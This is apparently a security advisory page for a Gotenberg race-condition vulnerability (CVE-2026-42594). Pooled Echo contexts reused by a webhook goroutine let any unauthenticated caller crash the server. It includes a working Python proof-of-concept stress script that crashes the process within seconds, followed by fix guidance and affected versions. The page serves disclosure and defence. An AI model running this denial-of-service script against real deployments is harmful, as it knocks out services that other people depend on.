Skip to content

GHSA-r33j-c622-r6qp CVE-2026-42594 GO-2026-5605

Gotenberg has an unauthenticated denial of service via echo.Context pool reuse in webhook async goroutine

High Go
Severity
7.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.35%
Chance of exploitation in the next 30 days. Higher than 28.41% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Fix
8.32.0
Upgrade github.com/gotenberg/gotenberg/v8 to this version or later

Description

Summary

The webhook middleware spawns a goroutine that holds a reference to the request's echo.Context after the synchronous handler returns ErrAsyncProcess and Echo recycles the context back to its sync.Pool. When a concurrent request claims the recycled context, c.Reset() clears the store. If the webhook goroutine reaches hardTimeoutMiddleware at that moment, an unchecked type assertion on a nil store entry panics outside any recover() scope, crashing the Gotenberg process. Any anonymous caller reaches the webhook path (default webhook-deny-list filters only the webhook destination, not the submitter). A single-source stress of ~24 webhook requests plus ~60 GET /version requests crashes the process in about two seconds.

Details

pkg/modules/webhook/middleware.go:338-382 starts the async goroutine and immediately returns api.ErrAsyncProcess to the caller:

w.asyncCount.Add(1)
go func() {
    defer cancel()
    defer w.asyncCount.Add(-1)

    err := next(c)                    // line 343
    ...
    sendOutputFile(sendOutputFileParams{ ctx: ctx, ... })
}()

return api.ErrAsyncProcess             // line 382

pkg/modules/api/middlewares.go:356-361 sees the sentinel, responds with 204 No Content, and lets Echo return c to the pool:

if errors.Is(err, ErrAsyncProcess) {
    return c.NoContent(http.StatusNoContent)
}

Echo's router calls c.Reset() before serving the next request from the same goroutine pool slot, wiping c.store. When the webhook goroutine's next(c) enters hardTimeoutMiddleware at pkg/modules/api/middlewares.go:396-398, the handler dereferences the store before the new recover scope exists:

return func(c echo.Context) error {
    logger := c.Get("logger").(*slog.Logger)   // line 398

    ...
    go func() {
        defer func() { if r := recover(); r != nil { ... } }()   // recover is scoped here
        errChan <- next(c)
    }()

If a concurrent request has just acquired c from the pool, c.Get("logger") returns nil, and nil.(*slog.Logger) panics at line 398. The panic is not inside any goroutine with a recover(), so the Go runtime terminates the process with exit code 2.

No echo.Recover middleware is registered (pkg/modules/api/api.go:480-536). GOTRACEBACK defaults propagate the panic to stderr and exit.

Proof of Concept

Reproduction on the stock Docker image with default configuration:

docker run -d --name gotenberg-poc -p 3000:3000 \
    -e GOTRACEBACK=all gotenberg/gotenberg:8 gotenberg --log-level=error

Single-process stress script (Alice sends both streams, no second actor):

import requests, subprocess, time, json, threading

TARGET  = "http://localhost:3000"
WEBHOOK = "http://httpbin.org/post"   # passes default webhook-deny-list
STOP    = threading.Event()
html    = b"<html><body><h1>Q</h1></body></html>"

def webhook_fire():
    s = requests.Session()
    while not STOP.is_set():
        try:
            s.post(
                f"{TARGET}/forms/chromium/convert/html",
                files={"files": ("index.html", html, "text/html")},
                headers={
                    "Gotenberg-Webhook-Url":       WEBHOOK,
                    "Gotenberg-Webhook-Error-Url": WEBHOOK,
                },
                timeout=15,
            )
        except: pass

def noise_fire():
    s = requests.Session()
    while not STOP.is_set():
        try: s.get(f"{TARGET}/version", timeout=2)
        except: pass

for _ in range(24): threading.Thread(target=webhook_fire, daemon=True).start()
for _ in range(60): threading.Thread(target=noise_fire,   daemon=True).start()

t0 = time.time()
while time.time() - t0 < 60:
    time.sleep(1)
    status = json.loads(subprocess.run(
        ["docker", "inspect", "gotenberg-poc"],
        capture_output=True, text=True, check=True).stdout)[0]["State"]
    if status["Status"] != "running":
        print(f"process crashed after {time.time()-t0:.1f}s, exit code {status['ExitCode']}")
        STOP.set()
        break

Observed output:

process crashed after 2.2s, exit code 2

Container stderr captured with docker logs gotenberg-poc:

panic: interface conversion: interface {} is nil, not *slog.Logger
goroutine 287020 [running]:
    /home/pkg/modules/api/middlewares.go:398 +0x2e6
    /home/pkg/modules/webhook/middleware.go:343 +0xec
created by github.com/gotenberg/gotenberg/v8/pkg/modules/webhook.(*Webhook).Middlewares.webhookMiddleware.func1.func2.2
    /home/pkg/modules/webhook/middleware.go:338 +0x1176

Impact

Any client that can reach the Gotenberg API crashes the process. Auto-restart policies (--restart=always, Kubernetes liveness probes, Compose defaults) let Gotenberg come back up, but each crash drops every in-flight conversion, abandons pending webhook deliveries, and resets internal state. Sustained attack traffic keeps the process in a restart loop, producing continuous unavailability. The webhook-deny-list blocks attacker-chosen webhook destinations inside private networks, but does not filter the submitter of the request, so an unauthenticated Internet attacker drives the crash with only the ability to reach port 3000.

Recommended Fix

Replace the unchecked type assertion at pkg/modules/api/middlewares.go:398 with a guarded lookup that handles the pool-reuse case:

logger, _ := c.Get("logger").(*slog.Logger)
if logger == nil {
    return errors.New("context reused from pool before middleware chain populated it")
}

Also add a defer recover() at the top of the webhook goroutine body at pkg/modules/webhook/middleware.go:338 so any future panic downstream does not kill the process:

go func() {
    defer func() {
        if r := recover(); r != nil {
            ctx.Log().Error(fmt.Sprintf("webhook goroutine panic: %v", r))
            handleError(fmt.Errorf("internal error: %v", r))
        }
    }()
    defer cancel()
    defer w.asyncCount.Add(-1)
    ...
}()

A deeper fix detaches echo.Context from api.Context before the goroutine runs: extract every value the goroutine needs (output filename, logger, correlation fields) into plain variables or struct fields, then clear ctx.echoCtx so downstream code cannot reach the pooled context.


Found by aisafe.io

Affected versions

Go

PackageVulnerableFixed in
github.com/gotenberg/gotenberg/v7
all versions
No fix yet
github.com/gotenberg/gotenberg/v8
< 8.32.0
8.32.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/gotenberg/gotenberg/v8 Go → 8.32.0

go
go get github.com/gotenberg/gotenberg/v8@v8.32.0 && go mod tidy

Severity breakdown

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.

How to prevent it
  • Architecture and Design: In languages that support it, use synchronization primitives. Only wrap these around critical code to minimize the impact on performance.
  • Architecture and Design: Use thread-safe capabilities such as the data access abstraction in Spring.
  • Architecture and Design: Minimize the usage of shared resources in order to remove as much complexity as possible from the control flow and to reduce the likelihood of unexpected conditions occurring. Additionally, this will minimize the amount of synchronization necessary and may even help to reduce the likelihood of a denial of service where an attacker may be able to repeatedly trigger a critical section (CWE-400).
  • Implementation: When using multithreading and operating on shared variables, only use thread-safe functions.
  • Implementation: Use atomic operations on shared variables. Be wary of innocent-looking constructs such as "x++". This may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read, followed by a computation, followed by a write.
  • Implementation: Use a mutex if available, but be sure to avoid related weaknesses such as CWE-412.
  • Implementation: Avoid double-checked locking (CWE-609) and other implementation errors that arise when trying to avoid the overhead of synchronization.
  • Implementation: Disable interrupts or signals over critical parts of the code, but also make sure that the code does not go into a large or infinite loop.
  • Implementation: Use the volatile type modifier for critical variables to avoid unexpected compiler optimization or reordering. This does not necessarily solve the synchronization problem, but it can help.
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-2mrg-35hw-x3x9
Gotenberg: SSRF via LibreOffice document processing
High Also affects github.com/gotenberg/gotenberg/v7
GHSA-vp73-vjw8-8f32
Gotenberg has a Race Condition via Multipart `downloadFrom` Handling
High Also affects github.com/gotenberg/gotenberg/v7
GHSA-86m8-88fq-xfxp
Gotenberg has an SSRF deny-list bypass in IsPublicIP via IPv6 6to4 / NAT64 / site-local prefixes
High Also affects github.com/gotenberg/gotenberg/v7
GHSA-hwc4-gmrw-5222
Gotenberg has path traversal in zip entry name via Windows-style separators in upload filename
High Also affects github.com/gotenberg/gotenberg/v7
GHSA-chwh-f6gm-r836
Gotenberg: Server-Side Request Forgery via Chromium URL Endpoint with Redirect-Based Deny-List Bypass
High Also affects github.com/gotenberg/gotenberg/v7
GHSA-g924-cjx7-2rjw
Gotenberg allows Chromium URL conversion routes to read arbitrary files under /tmp via file:// scheme
Medium Also affects github.com/gotenberg/gotenberg/v7
GHSA-4vmc-gm8v-m35h
Gotenberg vulnerable to unauthenticated SSRF via default deny-list bypass in downloadFrom and webhook
Critical Also affects github.com/gotenberg/gotenberg/v7
GHSA-3cv5-q585-h563
Gotenberg has arbitrary PDF read via stampExpression and watermarkExpression in merge, split, and convert routes
Medium Also affects github.com/gotenberg/gotenberg/v7
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor